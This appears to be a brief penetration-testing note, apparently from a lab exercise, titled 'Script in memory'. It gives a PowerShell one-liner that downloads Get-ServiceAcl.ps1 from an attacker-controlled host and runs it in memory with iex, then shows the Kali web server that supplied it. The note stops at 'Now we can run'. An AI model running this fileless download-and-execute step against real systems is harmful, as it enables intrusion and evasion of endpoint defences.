---
title: "Script in memory"
date: 2024-06-30
draft: false
---

- From a powershell session, run: 
```bash
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.6/Get-ServiceAcl.ps1',$false);$h.send();iex $h.responseText
```
- Kali side, hosting the Get-ServiceAcl.ps1 file: 
```bash
┌──(root㉿kali)-[/opt/windows-tools]
└─# ls -al
total 9620
drwxr-xr-x 3 root root    4096 Jun 30 14:07 .
drwxr-xr-x 8 root root    4096 Jun 30 14:07 ..
[..]
-rw-r--r-- 1 root root    4146 Jun 30 14:07 Get-ServiceAcl.ps1
drwxr-xr-x 8 root root    4096 Jun 30 14:07 .git
-rw-r--r-- 1 root root 2108380 Jun 30 14:07 Katz.proj
[..] 

┌──(root㉿kali)-[/opt/windows-tools]
└─# python3 -m http.server 80                             
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.184 - - [30/Jun/2024 14:09:11] "GET /Get-ServiceAcl.ps1 HTTP/1.1" 200 -

```

Now we can run `Get-ServiceAcl.ps1`: 
